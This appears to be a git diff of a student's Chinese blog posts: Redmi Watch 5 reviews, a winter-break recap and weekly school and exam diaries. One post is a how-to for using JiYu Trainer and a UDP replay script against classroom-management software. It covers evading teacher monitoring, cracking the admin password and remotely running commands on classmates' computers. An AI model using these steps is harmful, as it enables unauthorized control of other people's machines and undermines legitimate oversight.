Redmi Watch 5 相比于 Watch 4 ,屏幕改成了四边等宽微曲屏,边框甚至比小米手环9Pro还要窄:
![img](https://image.luming.cool/i/2026/05/10/69fff2e7edb4f.webp)小米手环 9 Pro
不过 Watch 5 的侧面并不是一体成型工艺,而是有一道塑料支架,这也使得其质感稍逊于小米手环 9 Pro。其背面传感器和 9 Pro 看上去是一样的,但不知道为什么 9 Pro 支持小米健康研究,而 Watch 5 就不支持。
### 功能
Redmi Watch 5 eSIM的功能与小米手环 9 是一样的,并在后者的基础上添加了录音机、音乐、独立通话、移动数据、短信等功能。
在购买之后,我们就紧接着赶到中国联通的营业厅,为新手表开通了eSIM服务。值得一提的是,我开通的是”一号双终端“业务,在一号双终端模式下,手表无法使用短信功能,其余都可使用。
![img](https://image.luming.cool/i/2026/05/10/69fff2e9aa7f1.webp)
#### 独立联网听歌
作为一个热爱音乐的寄宿生,我最看重这块表的原因之一,就是它可以通过移动数据来独立使用网易云音乐。即点即听,无需下载。这就完全满足了我住校听歌的心愿。
#### 大内存
Redmi Watch 5 标准版的内存只有164MB,而 eSIM 版的内存就直接给到了 2GB 。这也就意味着我可以装更多的表盘、快应用和音乐。
别看 2GB 这个数字很小,在手表上,这的确是一个很大的空间。毕竟,连小米手环 9 Pro 也才有 143MB 的空间。
#### 独立GPS
在我使用小米手环 8 标准版的时候,我最大的痛点就是——它没有GPS。这代表着我将无法精准地掌握我每一次户外运动的数据。
而 Redmi Watch 5 具有独立双频GPS,经实测,在户外可以实现3秒卫星速连。
#### Others...
但有一个致命缺点需要说:**这块表的eSIM版在小米运动健康上是没有应用商店的!**
对于新手,将无法直接通过官方APP来自行添加软件&小游戏,需要通过表盘自定义工具来添加,互联网上到处是教程。
这块表的功能还有很多很多,来不及一一对你说……
## 写在最后...
又是充实的一周,同时我距离中考又近了一周。
提前祝我中考加油,无限进步!
@@ -0,0 +1,143 @@
---
cover: "https://image.luming.cool/i/2026/05/10/69fff2be614b1.webp"
title: "复盘我这庸碌的寒假"
pubDate: "2025-02-11T18:07:00.000Z"
updatedDate: "2025-02-11T18:07:00.000Z"
categories:
- "生活"
tags:
- "游戏"
- "生活"
- "读书"
comments: true
---
## 前言
时光总是公平而又无情。转眼间,寒假的余额只剩两天。回顾博客,这个寒假我没有写一篇周记,因为实在“没得写”。本篇文章,我要复盘一下我初中生涯的最后一个寒假。
先来说说有哪些天我是实实在在地学习了:27天的寒假,其中有15天安排了辅导班,3天学校网课补习。这些天的我,过着千篇一律的生活:起床→辅导班→午休→辅导班。
要问我课余时间都去干嘛了?这可就是我想说的了。
## 读书
假期里,我利用碎片时间读了《活着》这本书。其实也不算“读了”——因为我只读到了133/216页,也就是“徐有庆”给校长献血被缺德医生抽死的部分。
我并没有读完这本书,但是我对我读过的部分深有感触:福贵因赌博而败光家产,由地主阶级变为租地的农民,没想到土地改革使得买他家地的人替了他一死;为了生活而将女儿凤霞送人,又在几天后因为不忍心而决定不送人了;省吃俭用给儿子有庆买了鞋,有庆却攥在手里不舍得穿……前者体现了一句谚语“大难不死,必有后福”;后者则体现了社会底层人民为了活着而表现出的无奈。
初中的历史学了中国近代史,讲了“人民公社化运动”,但并未详细讲述当时人民的生活。读了这本书,我看到了公社化初期为了煮钢铁而让人民砸锅,强占人民住宅作为炼钢地的队长,和公社化末期,因粮食短缺带领大家伙去福贵家蹭米饭吃的队长。原本我并不完全了解人民公社化,这本书让我更全面地认识了人民公社化。
![img](https://image.luming.cool/i/2026/05/10/69fff2bd5154a.webp)
## 延迟开学
原本我们学校定的是2月5日(农历初八)开学(属于违规开学)。但是我们学校有一位勇士出面举报了学校,所以老师们在2月7日发布通知:我们要从2月8日上网课到2月11日,2月13日返校。
我以为这事就这么平息了,便跟着学校上网课。没想到第二天晚上,老师又在班级群发布通知:
> 由于一些“具体原因”,假期辅导“明天停止”。请家长朋友们监督学生做好收心工作,做好开学准备。
我前往“洛阳网市民呼声”小程序一看,果然是我们学校又被举报了。
唉,以我对班主任的了解,他能在群里的消息中加入**双引号**,估计是气炸了。
## 和平精英
从1月23日起,我抱着试一试的态度玩了《和平精英》。原本时间控制的还不错,一天只玩了一把——7分钟。但我这自制力……
| 日期 | 时长 |
| ------- | ----------- |
| 1月23日 | 7分钟 |
| 1月26日 | 1小时29分钟 |
| 1月27日 | 1小时2分钟 |
| 1月28日 | 2小时38分钟 |
| 1月29日 | 3小时29分钟 |
| 1月30日 | 1分钟 |
| 1月31日 | 28分钟 |
| 2月2日 | 40分钟 |
| 2月3日 | 1小时20分钟 |
| 2月4日 | 2小时27分钟 |
| 2月5日 | 1小时59分钟 |
| 2月6日 | 1小时 |
| 2月7日 | 1小时11分钟 |
| 2月8日 | 1小时41分钟 |
| 2月9日 | 1小时14分钟 |
| 2月10日 | 1小时57分钟 |
| 总共 | 22.9小时 |
很令人失望,对吧,我不该相信人性。
虽然游戏给我带来了正面的情绪价值,但是它对于我时间的消耗逐渐变得不可控。所以今后学习的时候我会将电子产品全部移至自己看不到的位置。
## 项目
这个寒假我共为三个项目做出了贡献:
- [蓝屏工具箱 5.0](https://tools.cnstlapy.cn/) 功能设计
- [RStatus](https://gh.hydun.cn/Rise-forever/RStatus) 产品研发
- [LinkShorter](https://mnb.cool/) 产品研发
### 蓝屏工具箱
#### 速度革命
蓝屏工具箱4.x的资源加载逻辑完全不像是一个上市产品——它在需要图片的时候直接从服务器拉取,永远都是这样。于是我为其构建了媒体库系统,使其在本地建立缓存,致使加载速度巨幅提升。
#### 商店内核焕新
工具箱的新商店界面其实我在2024年10月就已经写完,但是由于精易模块的一个玄学BUG,导致迟迟没有发版,直到在今年寒假我才排查出来。自此,工具箱5.x商店内核焕新,更好看,更好用。
![img](https://image.luming.cool/i/2026/05/10/69fff2ad44397.webp)(由于未安装字体,所以截图比较丑,请见谅)
### RStatus
这是一个从零开始的Python Flask+易语言项目,首要用途是让大家~~视奸~~更好地监督我,次要用途是给班主任作为班里一体机的监管系统。具体信息可见[RStatus介绍文章](https://virelyx.com/686.html)。
![img](https://image.luming.cool/i/2026/05/10/69fff2ae33b98.webp)RStatus网页界面
程序已[开源](https://github.com/Rise-forever/RStatus),并且附上了部署文档。这个项目对我来说目前只能部署在Windows服务器,因为Linux宝塔的各种方法我都试过了,无论如何都不能在反向代理的情况下通过TCP服务器向其发送消息。如果哪位大佬摸索出了在Linux上部署的方法,欢迎在本文评论区留言亦或是[电邮](mailto:hi@virelyx.com)我,我将非常感激!
### LinkShorter
这仍是一个Python Flask项目,域名为[mnb.cool](https://mnb.cool/),欢迎各位前来使用!
![img](https://image.luming.cool/i/2026/05/10/69fff2af3029a.webp)ShortLinker 网站界面
注:该项目由于技术不成熟,所以不适用于生产环境,仅供临时使用。
## 买买买
### 手机贴膜
买了两款手机膜,踩了一次坑。
#### 磨砂膜
我于寒假开始时购入了2张“电竞磨砂膜”,从此看手机就跟瞎了眼一样,1080P的屏幕秒变720P。并且,这个磨砂膜似乎还吸油,用了一段时间之后屏幕上全是油,擦干净之后用手指轻触几下就又起油了。
![img](https://image.luming.cool/i/2026/05/10/69fff2b10dcee.webp)
![img](https://image.luming.cool/i/2026/05/10/69fff2b3543f6.webp)
#### AR高透膜
三天前,我买了三张AR高透膜,今天到货。我贴上之后发现买错型号了——我用的是 Redmi Note 12R ,但我买的是 Redmi Note 12 的贴膜。还好 Note 12 的屏幕宽度和 12R 一样,只是没有 12R 高,外加我要开学了,所以就留下来用了。
![img](https://image.luming.cool/i/2026/05/10/69fff2b5a1583.webp)
![img](https://image.luming.cool/i/2026/05/10/69fff2b7aa35e.webp)
![img](https://image.luming.cool/i/2026/05/10/69fff2b986fa4.webp)
哔哔一句:揭下电竞膜的那一刻,我的心里直呼:“我的天,原来我的手机屏幕这么清晰!我以前遭的什么老罪呀!”
### 写作书
为了预防开学后的无所事事,我买了一本写作游戏书,也是互联网上最近比较火的:《666件可写的事——创意无限的写作游戏书》。这本书的内容就是问读者666个问题,并给每一个问题提供了适当的留白,引导读者进行写作。这个模式很新颖,我很期待我会在这上面留下什么。
![img](https://image.luming.cool/i/2026/05/10/69fff2bb89b8b.webp)
## 后记
整体来说这个寒假我认为我过得比较空虚,没有合理掌控好自己的时间,反而成了时间的奴隶。在未来中考冲刺的过程中,我要戒骄戒躁,无限进步!
+98
View File
@@ -0,0 +1,98 @@
---
title: "使用 JiYu Trainer 轻松解除控制并硬控全班"
pubDate: "2025-03-22T12:02:00.000Z"
updatedDate: "2025-03-22T12:02:00.000Z"
categories:
- "科技"
tags:
- "校园"
comments: true
---
## 前言
临近实验和信息技术中招考试,我们学部组织班级前十五名的同学在每周一、三中午进行信息技术题目集训,同时要求信息老师在晚自习时带我们去机房训练。
由于我擅长计算机,每次答题都是满分,所以我就一直尝试用机房电脑摸鱼,但每次都会被老师从教师端看到,这让我十分烦恼。
就在上周三中午集训时,我在互联网上苦苦探索“解除极域控制”的方法。当所有人都在教我“暂停StudentMain.exe”时,一位大佬在文章里提到了“[JiYuTrainer](https://github.com/imengyu/JiYuTrainer/)”这个项目,这让我眼睛一亮。
## 简介
JiYu Trainer 是一款针对 极域电子教室 各正代版本的外挂程序。其功能如下:
> - 在不影响极域正常运行的情况下将 全屏的广播 转为 窗口广播 模式,您不仅可自己操作,也可看老师讲解课程。
> - 内置强杀、启停极域 StudentMain.exe 进程功能,无需依赖其他软件。
> - 内置破解极域解锁卸载密码功能,支持新版极域。
> - 反监视功能,经测试,开启反监视,教师端就无法监视您所用的电脑。
> - 防控制功能,防止教师通过极域控制您所用的电脑。
> - 监控极域远程执行命令,您可以自由选择是否允许教师端远程执行的命令。
> - 通过极域电子教室对同学的电脑远程发送信息或远程执行命令。
总结成一句话,就是:它不仅可以帮你脱离老师对你的控制,还可帮助你控制全班的每一台电脑。
## 使用方法
### 下载软件
前往 [Github Releases](https://gh.hydun.cn/imengyu/JiYuTrainer/releases/tag/1.7.6) (已套国内镜像CDN,可正常访问) 下载你系统对应的版本(WindowsXP 请下载旧版本)。
下载完成后,你会得到一个 .exe 文件,那便是该软件的主程序,程序的所有功能将全部基于该文件。将它移动到一个不易被发现的角落,开始你的反控之旅吧!
### 启动软件
直接双击 exe 文件即可启动。请在启动前确保极域学生端正常运行,稍等两秒,程序会显示“已控制极域电子教室”。
![img](https://image.luming.cool/i/2026/05/10/69fff2f10d060.webp)
### 解除屏幕监控
程序在初次启动时,就已经实现了“阻止教师机控制此电脑”功能。不过,教师端此时仍可以看到此电脑的屏幕。我们需要点击主窗口下方的“设置”图标,在程序配置窗口中取消勾选“允许教师监视你的电脑”。如下图所示。
![img](https://image.luming.cool/i/2026/05/10/69fff2f31da5e.webp)
当然,在程序配置窗口里,我们还可以破解极域的管理密码。这个密码可以用来进入极域学生端设置&卸载极域。
### 反控局域网内其他电脑
JiYu Trainer 有一个“重放攻击”功能,它可以实现通过极域来反控局域网内的其它计算机。
点击“程序配置”窗口下方的“重放攻击”链接框,程序就会弹出一个窗口,如图所示。
![img](https://image.luming.cool/i/2026/05/10/69fff2f3ee791.webp)
至于这个“重放攻击”的功能,还不是很齐全。目前只有给对方发送消息、执行CMD命令、关机和重启功能。最要吐槽的还得属“CMD命令执行”功能,需要执行的命令不可以包含空格,否则就会无效。这也就导致了我们只能控制别人的电脑来实现弹一个计算器之类的简单功能。
但这里要重点说一个我遇到过的问题:不知道极域的端口号。
网上很多人在教排除极域端口号的方法,但是几千个端口号范围,让人手打一个一个排查,太慢了。
所以我们就可以使用重放攻击的脚本版——[Jiyu_udp_attack](https://github.com/ht0Ruial/Jiyu_udp_attack)。
去Release页面下载完最新的.exe文件后,我们在cmd中运行:
```
python Jiyu_udp_attack.py -e g
```
此时,程序会自动罗列出数十个端口号。这就是极域所使用的端口号了。此时将其一一粘贴至重放窗口内实验,直到测试成功,就可以愉快地硬控同学啦。
## 实际效果演示
### 禁止教师端查看屏幕
此时,教师端打开你的屏幕画面是这样的:
![img](https://image.luming.cool/i/2026/05/10/69fff2f49f3b4.webp)
一直转圈圈,永不会出画面。
### 屏幕广播窗口化
此时,如果教师端向你共享屏幕,那么你这边再也不会是强制全屏显示画面了,而是变成了一个窗口:
![img](https://image.luming.cool/i/2026/05/10/69fff2f560d42.webp)
## 结语
虽然这个软件可以让大家畅行信息课,但我们还是要自律,不要让一时的摸鱼耽误自己的信息课成绩。最后,祝大家使用愉快!我们下期再见。
@@ -0,0 +1,103 @@
---
cover: "https://image.luming.cool/i/2026/05/10/69fff2ee0a60b.webp"
title: "Redmi Watch 5 eSIM 版的优点与槽点"
pubDate: "2025-03-09T11:40:00.000Z"
updatedDate: "2025-03-09T11:40:00.000Z"
categories:
- "科技"
tags:
- "手表"
comments: true
---
## 前言
路明在两周前以国补价购入了一台 Redmi Watch 5 eSIM 版,当时觉得它比小米手环9 Pro更有优势。在深度使用了两周后,我对它的新鲜感逐渐褪去。与同学的小米手环9 Pro对比下来,我也发现了这块手表的不少槽点。
本期文章,我想和大家分享一下Redmi Watch 5 eSIM版的优点和槽点。仅为个人观点,谨慎参考。
## 长处
路明以前使用的是 小米手环8普通版 ,没有NFC,没有GPS,RTOS装不了小程序…这种种限制折磨得我痛不欲生。所以有了 Redmi Watch 5 eSIM 之后,我想先说说它相较于小米手环8多出了哪些功能。
### 独立 eSIM
Redmi Watch 5 eSIM 版,光听名字就能知道,它支持 eSIM 独立通讯。在“小米运动健康”APP端有两种套餐可选——“一号双终端”和“独立号”。
所谓“一号双终端”,就是手表和手机共用一个手机号。当这个手机号来电话时,手表和手机都会提醒,即使手机不在身边。
而“独立号”套餐,我去营业厅咨询了一下,独立虚拟号不能是已有实体卡的副卡。也就是说,如果你要开独立号,你必须单独再购买套餐。
我个人是比较推荐“一号双终端”的,一个月仅需额外掏10元,在表端就能享受独立通话和流量。但“一号双终端”在手表上不支持使用短信功能。
### 2GB 大内存
在买之前,我听许多网友说,Redmi Watch 5 系列的标准版和 eSIM 版内存大小不一样。在查询了网上数据后,我想说——是这样的。并且,差距还不小。
Redmi Watch 5 标准版的内存大小约为311MB,而 eSIM 版的内存就给到了 2GB。
我在手表里下载了125首音乐,实际使用空间不到300MB,这还是在我装了一堆表盘&小程序的前提下。也就是说,如果我要接着把这块表撑满,我起码还得装600首歌。这对于我一个热爱音乐的住宿生,已经是天伦之乐了。
### 独立 GNSS
在使用小米手环 8 的时候,我每次出门运动都需要带上手机用于记录运动轨迹。而懂跑步的朋友都知道,在跑步的时候手里拿着一部手机会导致身体因配重不均而快速疲乏。Redmi Watch 5 系列支持独立 GNSS 定位,出门运动只需带一块表就好了。
### 独立蓝牙耳机连接
Redmi Watch 5 系列支持独立蓝牙,可以连接蓝牙耳机或音响设备。
### 网易云音乐支持听“我喜欢”列表
Redmi Watch 5 系列的网易云音乐支持直接查看“我喜欢”列表,并且可以即点即听。普通版需要连接手机可能看上去没什么,但 eSIM 版使用流量可以实现独立即点即听。爽!
## 槽点
是的,优点就那么几个。接下来,我要疯狂输出槽点了。
### VelaOS 应用列表滑动不跟手
相对于 小米手环8 的RTOSXiaomi VelaOS 在应用列表滑动的时候会不跟手,感觉很滑腻。而 RTOS 就显得干脆利落。
同样,在闹钟设置的时候,这个问题最明显,一滑动时间它就停不下来。这就让定闹钟的我很闹心。
### GNSS定位时间比手环长
我的同学有一块 小米手环9 Pro ,在GNSS星历同样过期的情况下,它的手环定位速度只需要5~7秒,而我的 Redmi Watch 5 eSIM 版则从开跑到结束都没定到位。
### 缺失番茄钟功能
小米手环9 Pro 是有番茄钟这个功能的,但 Watch 5 没有。
### 缺失手势操作功能
小米手环9 Pro 拥有手势操作功能,而 Watch 5 没有。
### VelaOS 轻应用后台只能保留一个
这个问题最为致命。Redmi Watch 5 的系统并没有设计类似于手机“后台界面”的操作逻辑。当你要将前台程序放到后台时,只需要按下表冠,程序就会变为主表盘上显示的一个小Logo。而当你启动另一个轻应用时,已在后台的轻应用会被挤掉。这也就导致我始终无法实现一边后台听歌一边看电子书。
[tip type="info" title="什么样的应用是轻应用?"]如果这个应用点开没有过渡动画,就直接生硬地直接显示界面,那么就是第三方轻应用。反之,如果应用打开有过渡动画(应用界面从应用图标处逐渐放大铺满屏幕),那么就是系统应用。轻应用和系统应用不会挤占后台,轻应用和轻应用会挤占后台。[/tip]
### VelaOS 部分系统界面动画缺失
我不知道该不该说 VelaOS 的工程师懒。
Redmi Watch 5 eSIM 版的 设置→“应用”界面,点击“应用管理”和右划退出均没有动画。
### 手表设置显示与实际不符
在学校我大多数时间都是关了手表通讯能力的。哪怕需要接电话我也会只开通讯能力不开移动数据,因为费电。
而当我在设置里快速开启通讯能力并关闭数据后,马上退出设置再进去看,移动数据仍然是开的。
### 无法加入小米健康研究
Redmi Watch 5 系列的传感器和小米手环9 Pro 看上去是一样的,但是”小米健康研究计划“中支持的设备并没有 Redmi Watch 5 。
### 震感过细
Redmi Watch 5 对马达的调教实属欠佳。虽然能听到清脆的震动声,但它似乎是震给自己听的,手腕上几乎没有震感。
## 总结
虽然 Redmi Watch 5 eSIM 版有许多槽点,但我买他就冲一个能听音乐。那么看完这篇文章,你觉得 Redmi Watch 5 适合你吗?
+25
View File
@@ -0,0 +1,25 @@
---
cover: "https://image.luming.cool/i/2026/05/10/69fff2ed2a62f.webp"
title: "周度总结 3-1:空"
pubDate: "2025-03-02T14:30:00.000Z"
updatedDate: "2025-03-02T14:30:00.000Z"
categories:
- "生活"
tags:
comments: true
---
What can i say ?
本周发生的事情实在是太少了。
所以我想…写一篇推荐Redmi Watch 5的文章,并做一个视频。
但文案没写完。
想去录一个视频讲述我的故事,结果我找不到状态,觉得自己根本不适合对着镜头说话。
这下两败俱伤。
本周先停更一次,对不起各位听众老爷。下周我争取恢复。
+67
View File
@@ -0,0 +1,67 @@
---
cover: "https://image.luming.cool/i/2026/05/10/69fff2fbb52a4.webp"
title: "周度总结 4-1:实验模拟、月考、一颗糖"
pubDate: "2025-04-12T15:41:00.000Z"
updatedDate: "2025-04-12T15:41:00.000Z"
categories:
- "生活"
tags:
- "校园"
comments: true
---
## 前言
今天是2025年4月12日,我坐在电脑前写下这篇周记。
临近小中考了,这几周我们都在忙忙碌碌地做实验、练体育。虽然枯燥,但我还想把这几周的小美满分享给你。
## 实验&信息技术模拟考试
为了让同学们熟悉中招实验流程,学部在周二上午组织同学们进行了一场中招实验&信息模拟考试。
这次先考的是信息。8:30,校领导开始喊第一组同学前往信息教室。作为第二组的同学,我在10分钟后也被叫到了信息教室。
信息中招考试的流程还算简单,大体是这样的:
> 学生抵达考点门口 → 学生按顺序抽签来获取题号 → 进入考场考试
这次模拟考,我抽到了第11套题,是我相对熟练的题。但是在考试前,老师讲了一个规则:
> "这次考试,必须等到考试开始10分钟后才可以交卷,否则判0分。"
我虽然不理解这种规则,但必须尊重。只见我花费不到4分钟做完了全部题目,剩下的6分钟我无聊到来来回回检查答案好几遍。等到了10分钟那一瞬间,我立刻点击交卷。得偿所愿,我是我们班第一个做完的,满分。
信息考完之后,我们原路返回教室。又过了大概五分钟,我被叫走做实验。实验的流程就相对繁琐了:
> 学生前往抽签室 → 学生轮流抽取题号 → 学生轮流领取题单和评分表 → 学生前往实验室
前四个步骤我都相对从容地应对过去了,但到了考场,我看到摆放整齐的各个实验器材,顿时有点不知道要先做什么再做什么。第一遍做的时候,我把本应倒在烧杯里的氯化钠溶液倒到了量筒里。多亏我及时反应过来,把氯化钠溶液倒回了原瓶,并向监考老师申请重新实验。好在最终我的实验也得了满分。
我们班只有两个信息和实验全满分的,我就是其中之一。
## 月考
周二晚上和周三全天,我们举行了月考。这可以说是我们在全市第一次模拟考试前的最后一次月考了。成绩还没出来,但我想总结一下我已知的错误。
### 数学
先说说错得不亏的题:计算。一共两道题,一道是正常计算,一道是化简代数式。我在做第二题的时候,无意将其化简成了带括号的式子。然而括号实际上意味着需要进一步计算,并不算是最简公因式。所以,我在计算题扣了一分。
再来说说错得不应该的题。首先就是统计与概率的题,我居然能把剩余人数统计错……这可是一个减法啊,我真无语了😅。其次是因为考试时间剩的不多,我在一道大题中把√2×√2算成了4,这扣几分我不知道。最最亏的就是最后一道大题——这是我们曾在数学课上讲过的原题。我因为时间不够导致最后一空没写出来。倒数第二空,题目要求“请使用含有m的式子来表达XX的长度”,我直接用了BD,没有用m,并且本该用sin的我用成了cos。
数学成绩出了,我只考了109,班里第八(第一名113)。
### 物理
首先,超导体不能用来做芯片,芯片只能做半导体;其次,说一个现象包含的原理要说全,比如“摩擦起电+同种电荷相互排斥”。
物理我考了65,满分70,应该是班里第二。
## 一颗糖
在热火朝天的体育训练当中,有一个很甜的场景:化学老师和历史老师自己带了一些糖,把它们放在立定跳远满分的地方,学生如果能跳到就可以把糖拿走。这起到了很好的激励作用,在这样的激励下,我成功从“跳到2.4m都费劲”变成了“跳2.5m轻轻松松”。
## 结束语
最近更新可能少一点,等到小中考结束恢复正常。同时㊗️参加2025年体育&信息技术&实验中招考试的莘莘学子们,金榜题名,不负青春!
+68
View File
@@ -0,0 +1,68 @@
---
cover: "https://image.luming.cool/i/2026/05/10/69fff2fd1a29c.webp"
title: "周度总结 4-2:时间错误、实验&信息中招、入团"
pubDate: "2025-04-19T11:07:00.000Z"
updatedDate: "2025-04-19T11:07:00.000Z"
categories:
- "生活"
tags:
- "校园"
- "考试"
comments: true
---
## 前言
周二,我的手表时间莫名被重置回了“1970年1月1日”。
上周我提到了实验操作&信息技术的模拟考试,而这周三,我们参加了正式的中招考试。
周三考完试后,我突然得知,班里入团的名额又多了两个,并且算上了我。
## 时间错误
周二,我将我的 REDMI Watch 5 借给同学玩了一中午,结果下午手表一拿到手,我就觉得不对劲——今天是周二,可是表盘上显示“今天”是周四。于是我点开日历一看,好家伙,今天居然是“1970年1月1日”!因为手表不支持本地调时间,所以就这样,我带着这块“上世纪的表”,过完了这一周。连接手机后,时间自动恢复了。
求助一下各位大佬朋友,这 Bug 的出现和 Unix 时间戳有关吗?
## 实验&信息中招
平时我们是 6:30 AM 起床,但周三 5:50 AM ,我们就从床上起来,抓紧洗漱,跳过晨练直接去吃饭——因为我们学校的大巴车将在6:30出发。我们这辆大巴车载的是我们班的同学,同时还带上了二班的几位。我和另一位兄弟坐在了靠前的位置,蓦然回首,发现女神坐在我的侧后方,我惊讶无比,顿时脸红耳赤。一路上充满了欢声笑语,同学们或是在闲聊八卦,或是在加紧复习。
中招的考试顺序是`上午信息、下午实验`
到了考点(洛阳市魏书生中学),需要先进行检录,不过这是老师们的事。同学们就坐在考点内的喷泉边上和读书长廊内复习考点手册。等了大概四十分钟,我们被带到了候考区,抽取座位号。抽完后,我们就在候考室等待上一批同学考试结束。
我对自己实在是太自信了,毕竟题库里的 12 套题我刷了六遍,全是满分。所以我这次来并没有带任何资料,在候考室干瞪眼看着别人争分夺秒地阅读复习资料,无聊透顶。老师用音响洗脑循环着《考试须知》,让我连暂时小憩的机会都没有。我们在那间候考室待了 20 分钟后,带队老师把我们带到了考场门口。
但我们还不能进去,还得在门口等2分钟,直到上一批次所有学生考完试。但我们站啊站,就是没等到老师下口令让我们进去。我走上前,往考场里望。只见一位女同学在电脑前,她身后站着一位高个子男老师。后来才听说,她是因为考完没有成绩才留在考场的,并非有意。
终于,她出来了,我们进入了考场。我找到自己的座位坐下,输入自己的准考证号、密码,没多想就直接开始做题。
不到一分钟,我完成了选择题。紧接着,我进入了打字题。这个考场的键盘比较老,打起字来噼里啪啦的。再加上我的极品手速……我的同学是这么评价的:
> ” 我刚做到选择题第三题,就听见震天响的键盘声,直接搞得我没思路了。我还以为是某个社会青年不想上学了,报复社会乱敲键盘呢。(笑) “
考试时长为15分钟,我只花了4分钟就完成了所有题目(选择、打字、WPS、VJC、流程图、Python),但 ”交卷“ 按钮是灰色的,点不了。我举手示意老师:”这按钮为什么点不了?“老师说:”可能是这考试有时间限制吧,过了时间限制才可以交卷。“
于是我等啊等,发现在15分16秒的时候,”交卷“ 按钮变回了蓝色。我迅速交卷,等待出分。令我震惊的是,我的成绩只有15分。可是,我们在学校模拟的时候满分是 100 分啊?
我的脑子短路了一下,但我又迅速想到:洛阳市中招信息考试满分就是 15 分,这里的考试系统输出的就是折合后的分数。于是我起身出了考场,跑向等候区,把我得了满分的喜讯报告给了班主任和信息技术老师。他们被我的速度折服了。在我出考场 10 分钟后,一位同班同学走了出来,他也是满分。之后,同学们都陆陆续续离开考场。有人欢喜有人愁,我们这一场最终有 14 名同学考了满分,其余的都或多或少扣了 1~2 分,只有一名同学是只考了 6 分。等我们这个考场的同学都出来后,已经是 10:40 AM 了,班主任带领我们先行回到学校。我们趴在课桌上稍事休息后,于 11:40 AM 前往餐厅吃午饭。吃完午饭,我们便踏上了去考实验的旅程。
大巴车再次抵达考点,我惊奇地发现——那些排在后面的考生居然都没回学校,直接紧跟着考实验。我不禁对他们心生一丝同情。下午的实验,我抽到了自己最擅长的一套题,顺利地拿到了满分,至于考试过程不再赘述。但我想回忆一下近三周我们的练习生活。
三周前,领导把我们的课表改成了上午正常上四节课,下午由四节课改为六节实验课。每天下午,我们马不停蹄地在各个实验室间奔波。在实验课初期,我们闹出了不少乌龙——**粗盐提纯**被搞成**小苏打提纯**、**偷吃**生物实验室的番茄、把**液体压强计中的液体**挤出来……这些同学都被老师当作典型严厉训斥。当然,难道我是莲一样一尘不染的人吗?并不是。在把信息题库刷完六遍以后,我没了耐心再去练习,所以我利用 [WinToGo](https://baike.baidu.com/item/Windows To Go/9911487) ,将《和平精英》带到了机房玩耍。初次试玩的时候,我心潮澎湃。周围的同学看到后,顿时惊呼,啧啧赞叹,却只能艳羡。在 2025年4月2日 ,周三的晚自习第二节,信息老师照常带我们前往机房练题,我照常打开《和平精英》畅玩。等到晚自习下课,一堆同学都挤在我的机位旁跃跃欲试,我便把操作权给了其中一位。他身法很牛,技术也不赖,打得同学们**直呼 “太爽了”** 。此时此刻,准备收拾东西下班的老师拿出手机,将我们玩的场景录了下来。我们一看到摄像头,就赶紧往机房外蹿,生怕拍到自己惹祸上身。但奈何我们的反应都太慢了,所有人都被录了下来。当时所有人都觉得**自己要 “完了” ,第二天要被班主任骂了。**然而现在回过头看看,那算什么。老师录下的不是 “罪证” ,而是我们的青春。后来,信息老师找到我,说**他要把这段视频放到毕业典礼上**,更加印证了我的想法。
> 很高兴,我们的青春,不是模糊的记忆,而是 4K 超清。
## 入团
周二晚自习,我们在看体育考试技巧的时候,班主任顺便给我们讲了一下入团的事情。班里一共有 4 名合适的人选,需要同学们投票选举出一位作为入团发展对象。很遗憾,我落榜了。
周三下午,另一位曾落榜的同学找到我,说**班里的发展对象名额扩大了,现在是 3 名,带上了我和他**,让我周四 12:00 PM 前往报告厅上团课。我高兴坏了,因为我曾一度认为我初中入团无望,只因我[**挨过处分**](https://virelyx.com/471.html),这对我来说是个天大的好消息。
周四中午,我们通过团课得知,团员发展对象**需要经过两个月的综合考察**才能入团。所以,这两个月,我要严格对待自己了。
## 后记
这周我很开心,因为我打好了中考的第一枪,并且弥补了初中生涯的遗憾。这周日就是体育中招考试了,我有必胜的信心征服这次考试,加油!我们必胜!!!!
+58
View File
@@ -0,0 +1,58 @@
---
cover: "https://image.luming.cool/i/2026/05/10/69fff30212574.webp"
title: "周度总结 5-1:体考、试炼"
pubDate: "2025-05-04T13:21:00.000Z"
updatedDate: "2025-05-04T13:21:00.000Z"
categories:
- "生活"
tags:
- "考试"
comments: true
---
本篇周记日期范围:04/20-4/30(两周一起写)。
我的周记命名格式发生了变化:由粗略的周数变为月+次数。比如Weekly5-1,代表这是我5月写的第1篇周记。
## 体考
4月20日上午,我们前往洛阳市第八高级中学参加中招体育考试。
我们在休息区等了一个多小时才开始热身。在等待的时候,大多数同学在练习排球、立定跳远和跳绳,而我和班里几位体育成绩不错的同学坐在角落里玩“真心话大冒险”,不亦乐乎。其中有一位同学被要求对着班主任做开合跳,这让班主任脸色一黑,对我们说:“你们在这玩的人,待会考试如果不满分,都给我等着嗷”。我们没有理会,继续各玩各的。
检录、上场,第一场考的是排球。不知怎的,我排到了第一组最后一个。看着前面的考生都发挥不错,我心里愈发紧张。
好在我的排球实力过硬,虽然有几次把球打跑了,但是我仍及时救了回来。最后排球所幸满分。
第二场考立定跳。我第一跳即2.46m,刚好超过满分线0.06m。
跳绳。满分是一分钟150个,我跳了182个。
1000米我并不知道实际成绩,但是我知道我们那一组全部都是满分。
考试完之后我们依次前往门口查看成绩。河南的体育中招分为 70+30 ,其中那 30 分是过程评价,即“出勤分”。我的素质类项目是满分,但是过程评价扣了2分,最终得分98,就很沮丧。
## 试炼
4月28日,学校为我们举行了中招一模前的最后一次月考,从28日早上吃完饭一直考到晚自习结束。所有的科目都被安排在了同一天,所以考试压力很大。
上午的科目是语文、数学。这两科可谓是我这次考试最大的遗憾。
语文作文我没写完,要求600字左右,我写了400多一点;大纲里写的是“钢琴比赛”,但我最后写上的一句话是“比赛开始了”。没办法,比赛开始了,但考试结束了,只能吸引一下阅卷老师阅读兴趣了。
令我没想到的是,我那篇未完成的作文居然获得了 32 分,而班里有一位同学认真写的作文只得了 28。我的语文成绩 85.5 。
数学的难度也是我前所未见的。班主任美其名曰“和一模难度一样”,我直接惊呼:“那我别考高中了,考个中专得了”(笑)总之,计算量有的地方特别大,打到写满两张演草纸,还要再在试卷上继续演草。数学我考了 92,班里最高分 101 。
英语就很莫名其妙,监考老师在考试前还不断提醒着我们 “一会考试听力题记得区分大小写!” ,而我硬是不以为意,结果将一个在句首的词全部小写。英语的补全对话有两个坑,我全部跳进去了,扣了3分。作文最奇葩,我自认为我写的内容满足了考试题的全部要求,却被扣了整整 8 分。英语最后考了 108 ,不说了,我哭去了。。。
物理67,比上次进步了一分。但仍有几分被拿去交了智商税。
化学39,原地踏步。
政治我还不知道分数,但是选择题全对,不错。
